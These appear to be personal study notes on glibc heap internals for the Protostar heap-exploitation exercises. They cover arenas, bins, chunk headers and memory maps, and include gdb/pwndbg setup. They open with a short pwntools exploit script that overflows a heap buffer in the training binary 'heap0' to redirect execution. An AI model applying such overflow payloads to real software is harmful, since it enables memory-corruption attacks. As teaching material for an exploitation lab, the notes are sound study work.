#!/bin/python3
from pwn import *
exe = ELF("./heap0") context.binary = exe
offset = b'A'*(0x50 - 0x4) + b'BBBB' + p32(0x8048464)
open(‘payload', ‘wb').write(offset)
proc = process(argv=[exe.path, offset]) proc.interactive()
#================================================================================================
C++ vs C
(gdb) help info proc
Glibc Heap Implementation (glibc malloc)
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
https://github.com/shellphish/how2heap
WOOOOOOOOOOOOOOOOOOOW https://wargames.ret2.systems/levels
Defenetions
- arena
- main arena
- freelist bins
- brk mmap
- main arenas bin
- thread arena
many memory allocators are available:
malloc – glibc
ptmalloc2 – glibc ==> later due to ptmalloc2's threading support, it became the default memory allocator for linux.
dlmalloc – General purpose allocator ==> early days of linux, dlmalloc was used as the default memory allocator
jemalloc – FreeBSD and Firefox
tcmalloc – Google
libumem – Solaris
there could be lot of changes between ptmalloc2 and glibc's malloc implementation.
System Calls: As seen in this post malloc internally invokes either brk(); or mmap(); syscall.
per thread arena
Threading: During early days of linux, dlmalloc was used as the default memory allocator. But later due to ptmalloc2's threading support, it became the default memory allocator for linux. Threading support helps in improving memory allocator performance and hence application performance. In dlmalloc when two threads call malloc at the same time ONLY one thread can enter the critical section, since freelist data structure is shared among all the available threads. Hence memory allocation takes time in multi threaded applications, resulting in performance degradation. While in ptmalloc2, when two threads call malloc at the same time memory is allocated immediately since each thread maintains a separate heap segment and hence freelist data structures maintaining those heaps are also separate. This act of maintaining separate heap and freelist data structures for each thread is called per thread arena.
/* Per thread arena example. */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>
void* threadFunc(void* arg) {
char* addr = (char*) malloc(1000);
free(addr);
}
int main() {
pthread_t t1;
int ret;
char* addr;
addr = (char*) malloc(1000);
free(addr);
ret = pthread_create(&t1, NULL, threadFunc, NULL);
ret = pthread_join(t1, NULL);
return 0;
}
Before malloc in main thread: In the below output we can see that there is NO heap segment yet and no per thread stack too since thread1 is not yet created
► int main()
Start Addr End Addr Size Offset Perms objfile
0x56555000 0x56556000 0x1000 0x0 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56556000 0x56557000 0x1000 0x1000 r-xp /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56557000 0x56558000 0x1000 0x2000 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56558000 0x56559000 0x1000 0x2000 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56559000 0x5655a000 0x1000 0x3000 rw-p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0xf7d8e000 0xf7da8000 0x1a000 0x0 r--p /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7da8000 0xf7f00000 0x158000 0x1a000 r-xp /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7f00000 0xf7f77000 0x77000 0x172000 r--p /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7f77000 0xf7f79000 0x2000 0x1e9000 r--p /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7f79000 0xf7f7a000 0x1000 0x1eb000 rw-p /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7f7a000 0xf7f82000 0x8000 0x0 rw-p
0xf7f82000 0xf7f87000 0x5000 0x0 r--p /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7f87000 0xf7f97000 0x10000 0x5000 r-xp /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7f97000 0xf7f9f000 0x8000 0x15000 r--p /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7f9f000 0xf7fa0000 0x1000 0x1c000 r--p /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7fa0000 0xf7fa1000 0x1000 0x1d000 rw-p /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7fa1000 0xf7fa3000 0x2000 0x0 rw-p
0xf7fc3000 0xf7fc5000 0x2000 0x0 rw-p
0xf7fc5000 0xf7fc9000 0x4000 0x0 r--p [vvar]
0xf7fc9000 0xf7fcb000 0x2000 0x0 r-xp [vdso]
0xf7fcb000 0xf7fcc000 0x1000 0x0 r--p /usr/lib/i386-linux-gnu/ld-2.33.so
0xf7fcc000 0xf7fee000 0x22000 0x1000 r-xp /usr/lib/i386-linux-gnu/ld-2.33.so
0xf7fee000 0xf7ffb000 0xd000 0x23000 r--p /usr/lib/i386-linux-gnu/ld-2.33.so
0xf7ffb000 0xf7ffd000 0x2000 0x2f000 r--p /usr/lib/i386-linux-gnu/ld-2.33.so
0xf7ffd000 0xf7ffe000 0x1000 0x31000 rw-p /usr/lib/i386-linux-gnu/ld-2.33.so
0xfffdd000 0xffffe000 0x21000 0x0 rw-p [stack]
After malloc in main thread, the heap segment is created !!
And its lies just above the data segment (0x5655a000-0x5657c000)
this shows heap memory is created by increasing program break location using brk syscall
► addr = (char*) malloc(1000);
Start Addr End Addr Size Offset Perms objfile
0x56555000 0x56556000 0x1000 0x0 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56556000 0x56557000 0x1000 0x1000 r-xp /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56557000 0x56558000 0x1000 0x2000 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56558000 0x56559000 0x1000 0x2000 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56559000 0x5655a000 0x1000 0x3000 rw-p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x5655a000 0x5657c000 0x22000 0x0 rw-p [heap] # NEW !! this called the MAIN ARENA !!
0xf7d8e000 0xf7da8000 0x1a000 0x0 r--p /usr/lib/i386-linux-gnu/libc-2.33.so
...
Also do note that eventhough user requested only 1000 bytes, heap memory of size 136 KB is created. (0x22000 / 1024).
This contiguous region of heap memory is called arena. and since it has created by main thread its called main arena.
When arena runs out of free space, it can grow by increasing program break location (After growing top chunk's size is adjusted to include the extra space). Similarly arena can also shrink when there is lot of free space on top chunk.
Later when user requests memory, ‘glibc malloc’ doesnt get new heap memory from kernel, instead it will try to find a free block in bin. And only when no free block exists, it obtains memory from kernel.
think of bin as a list of linked list (directional / multidirectional)
► free(addr);
Start Addr End Addr Size Offset Perms objfile
0x56555000 0x56556000 0x1000 0x0 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56556000 0x56557000 0x1000 0x1000 r-xp /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56557000 0x56558000 0x1000 0x2000 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56558000 0x56559000 0x1000 0x2000 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56559000 0x5655a000 0x1000 0x3000 rw-p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x5655a000 0x5657c000 0x22000 0x0 rw-p [heap] # nothing changed !! even after free
0xf7d8e000 0xf7da8000 0x1a000 0x0 r--p /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7da8000 0xf7f00000 0x158000 0x1a000 r-xp /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7f00000 0xf7f77000 0x77000 0x172000 r--p /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7f77000 0xf7f79000 0x2000 0x1e9000 r--p /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7f79000 0xf7f7a000 0x1000 0x1eb000 rw-p /usr/lib/i386-linux-gnu/libc-2.33.so
0xf7f7a000 0xf7f82000 0x8000 0x0 rw-p
0xf7f82000 0xf7f87000 0x5000 0x0 r--p /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7f87000 0xf7f97000 0x10000 0x5000 r-xp /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7f97000 0xf7f9f000 0x8000 0x15000 r--p /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7f9f000 0xf7fa0000 0x1000 0x1c000 r--p /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7fa0000 0xf7fa1000 0x1000 0x1d000 rw-p /usr/lib/i386-linux-gnu/libpthread-2.33.so
0xf7fa1000 0xf7fa3000 0x2000 0x0 rw-p
0xf7fc3000 0xf7fc5000 0x2000 0x0 rw-p
0xf7fc5000 0xf7fc9000 0x4000 0x0 r--p [vvar]
0xf7fc9000 0xf7fcb000 0x2000 0x0 r-xp [vdso]
0xf7fcb000 0xf7fcc000 0x1000 0x0 r--p /usr/lib/i386-linux-gnu/ld-2.33.so
0xf7fcc000 0xf7fee000 0x22000 0x1000 r-xp /usr/lib/i386-linux-gnu/ld-2.33.so
0xf7fee000 0xf7ffb000 0xd000 0x23000 r--p /usr/lib/i386-linux-gnu/ld-2.33.so
0xf7ffb000 0xf7ffd000 0x2000 0x2f000 r--p /usr/lib/i386-linux-gnu/ld-2.33.so
0xf7ffd000 0xf7ffe000 0x1000 0x31000 rw-p /usr/lib/i386-linux-gnu/ld-2.33.so
0xfff0e000 0xffffe000 0xf0000 0x0 rw-p [stack]
when allocated memory region is freed, memory behind it doesnt get released to the operating system immediately. Allocated memory region (of size 1000 bytes) is released only to glibc malloc library ==> which adds this freed block to main arenas bin (In glibc malloc, freelist datastructures are referred as bins).
► ret = pthread_create(&t1, NULL, threadFunc, NULL); ► char* addr = (char*) malloc(1000);
Start Addr End Addr Size Offset Perms objfile
0x56555000 0x56556000 0x1000 0x0 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56556000 0x56557000 0x1000 0x1000 r-xp /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56557000 0x56558000 0x1000 0x2000 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56558000 0x56559000 0x1000 0x2000 r--p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x56559000 0x5655a000 0x1000 0x3000 rw-p /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
0x5655a000 0x5657c000 0x22000 0x0 rw-p [heap]
0xf7400000 0xf7421000 0x21000 0x0 rw-p # # NEW !! Thread Arena (132 KB) size
0xf7421000 0xf7500000 0xdf000 0x0 ---p
0xf758d000 0xf758e000 0x1000 0x0 ---p
0xf758e000 0xf7d8e000 0x800000 0x0 rw-p
0xf7d8e000 0xf7da8000 0x1a000 0x0 r--p /usr/lib/i386-linux-gnu/libc-2.33.so
....
....
heap memory is created using mmap syscall unlike main thread (which uses sbrk)
NOTE: When user request size is more than 132 KB (lets say malloc(132 * 1024)) and when there is not enough space in an arena to satisfy user request, memory is allocated using mmap syscall (and NOT using sbrk) irrespective of whether a request is made from main arena or thread arena.
► ret = pthread_create(&t1, NULL, threadFunc, NULL); ► free(addr);
that freeing allocated memory region doesnt release heap memory to the operating system.
instead this freed block added to its thread arenas bin.
So can there be a one to one mapping between the number of threads and the number of arena ? NO
application’s arena limit is based on number of cores present in the system
For 32 bit systems: Number of arena = 2 * number of cores.For 64 bit systems: Number of arena = 8 * number of cores.
hence some arenas will be shared between mutiple threads !!
┌─────────────────────┐
│ │
┌───────────┤ Arena ├─────────────────────────────────────────────┬────────────────────────────────────────┐
│ │ │ │ │
│ └──────────┬──────────┘ │ │ ┌────────────────────────┐
│ │ │ │ │ │
│ │ │ │ │ ▼
│ │ ┌─────────▼─────────┐ ┌─────────▼─────────┐ │ Free Chunk
│ │ low addr│ │ low addr│ │ │ ┌──────────────────────────────────┐
┌───────▼───────┐ ┌───────▼───────┐ │ malloc_chunk │ │ │ │ │ Prev Chunk Size │
│ │ │ │ │ │ │ Heap Info │ │ ├──────────────────────┬───┬───┬───┤
│ Fast Bin │ │ Regular Bin │ ├───────────────────┤ │ │ │ │ Chunk Size │ N │ M │ P │
│ │ │ │ │ │ │ │ │ ├──────────────────────┴───┴───┴───┤
└───────────────┘ └───────┬───────┘ │ │ ├───────────────────┤ │ │ FD │
│ │ Free Chunk │ │ │ │ ├──────────────────────────────────┤
│ │ │ │ malloc_state │ │ │ BK │
│ │ │ │ │ │ ├──────────────────────────────────┤
┌──────────────────────┼─────────────────────┐ ├───────────────────┤ │ │ │ │ │
│ │ │ │ │ ├──────────────────┬┤ │ │ │
│ │ │ │ malloc_chunk │ │ │┼┐ │ │ Unused │
│ │ │ │ │ │ malloc_chunk │┼│ │ │ │
│ │ │ ├───────────────────┤ │ │┼│ │ │ │
┌───────▼───────┐ ┌───────▼───────┐ ┌───────▼───────┐ │ │ ├──────────────────┼┼│ │ └──────────────────────────────────┘
│ │ │ │ │ │ │ Allocated │ │ │┼│ │
│ Unsorted Bin │ │ Small Bin │ │ Large Bin │ │ Chunk │ │ │┼┼────────────┘
│ │ │ │ │ │ │ │ │ Free Chunk │┼│
└───────────────┘ └───────────────┘ └───────────────┘ │ │ │ │┼│
├───────────────────┤ │ │┼┘
│ │ ├──────────────────┼│
│ malloc_chunk │ │ │┼┐ ┌────────────────────────┐
│ │ │ malloc_chunk │┼│ │ │
├───────────────────┤ │ │┼│ │ ▼
│ │ ├──────────────────┼┼│ │ Allocated Chunk
│ Allocated │ │ │┼│ │ ┌──────────────────────────────────┐
│ Chunk │ │ Allocated │┼│ │ │ Prev Chunk Size │
┌───────────────────┐ │ │ │ Chunk │┼│ │ ├──────────────────────┬───┬───┬───┤
│ │ │ │ │ │┼│ │ │ Chunk Size │ N │ M │ P │
│ malloc_state ├────┐ ├───────────────────┤ │ │┼┘ │ ├──────────────────────┴───┴───┴───┤
│ │ │ │ │ ├──────────────────┼│ │ │ │
│ │ └───────► malloc_chunk │ │ │┼┐ │ │ │
└───────────────────┘ │ │ │ malloc_chunk │┼│ │ │ │
at .data section ├───────────────────┤ │ │┼│ │ │ │
│ │ ├──────────────────┼┼│ │ │ Data │
│ Top Chunk │ │ │┼│ │ │ │
high addr│ │ │ Allocated │┼┼────────────┘ │ │
└───────────────────┘ │ Chunk │┼│ │ │
│ │┼│ │ │
┌─────────────────────┐ │ │┼┘ └──────────────────────────────────┘
│ │ ├──────────────────┴┤
│ Main Arena │ │ │
│ │ │ malloc_chunk │
└─────────────────────┘ │ │
├───────────────────┤
│ │
│ Top Chunk │
high addr│ │
└───────────────────┘
┌─────────────────────┐
│ │
│ Thread Arena │
│ │
└─────────────────────┘
`heap_info` – Heap Header – A single thread arena can have multiple heaps. Each heap has its own header. Why multiple heaps needed? To begin with every thread arena contains ONLY one heap, but when this heap segment runs out of space, new heap (non contiguous region) gets `mmap'd` to this arena.
** no heap_info for the main arena heap
`malloc_state` – Arena Header – A single thread arena can have multiple heaps, but for `all` those heaps only a single arena header exists. Arena header contains information about bins, top chunk, last remainder chunk…
`malloc_chunk` – Chunk Header – A heap is divided into many chunks based on user requests. Each of those chunks has its own chunk header.
The Last 3 bits of the size field contains ::
NON_MAIN_ARENA (N) – This bit is set when this chunk belongs to a thread arena.
IS_MMAPPED (M) – This bit is set when chunk is mmap'd.
PREV_INUSE (P) – This bit is set when previous chunk is allocated. (or not exist, i.e the first chunk has nothing before it) !!
``
in allocated chunk
prev_size: If the previous chunk is free, this field contains the size of previous chunk. Else if previous chunk is allocated, this field contains previous chunk's user data.
in free chunk
prev_size: No two free chunks can be adjacent together. When both the chunks are free, its gets combined into one single free chunk. Hence always previous chunk to this freed chunk would be allocated and therefore prev_size contains previous chunk's user data
fd: Forward pointer – Points to next chunk in the same bin (and NOT to the next chunk present in physical memory).
bk: Backward pointer – Points to previous chunk in the same bin (and NOT to the previous chunk present in physical memory).
OLDD !!!
source /home/o54ma/pwndbg/gdbinit.py set context-clear-screen on set follow-fork-mode parent
set context-stack-lines 40 set context-code-lines 25
source /home/o54ma/splitmind/gdbinit.py python import splitmind (splitmind.Mind() .tell_splitter(show_titles=True) .tell_splitter(set_title="Main") .right(display="stack", size="30%") .above(of="main", display="disasm", size="60%", banner="top") .show("code", on="disasm", banner="none") .right(cmd='tty; tail -f /dev/null', size="50%", clearing=False) .tell_splitter(set_title='Input / Output') .above(display="backtrace", size="75%") .above(display="legend", size="22") .show("regs", on="legend") .below(of="stack", cmd="ipython", size="30%") ).build(nobanner=True) end
set context-code-lines 30 set context-source-code-lines 30 set context-stack-lines 40 set context-sections "regs args code disasm stack backtrace"
DEF !!
b *main r
cwatch execute "heap"
cwatch execute "bins"
cwatch execute "vis"
NEW !!
source /home/o54ma/pwndbg/gdbinit.py
set context-clear-screen on set follow-fork-mode parent
set context-stack-lines 28 set context-code-lines 28 set context-source-code-lines 20
set context-ghidra always
set context-register-changed-color yellow
set context-sections "regs args code disasm stack ghidra expressions"
source /home/o54ma/splitmind/gdbinit.py python import splitmind (splitmind.Mind() .tell_splitter(show_titles=True) .tell_splitter(set_title="Main") .right(display="stack", size="30%") .right(of="main", display="disasm", size="50%")
.above(display="code", size="50%") .above(display="legend", size="22") .show("regs", on="legend") .below(of="stack", display="hacker", size="50%") .show("ghidra", on="hacker") .below(of="hacker", cmd="python3", size="7%") ).build(nobanner=True) end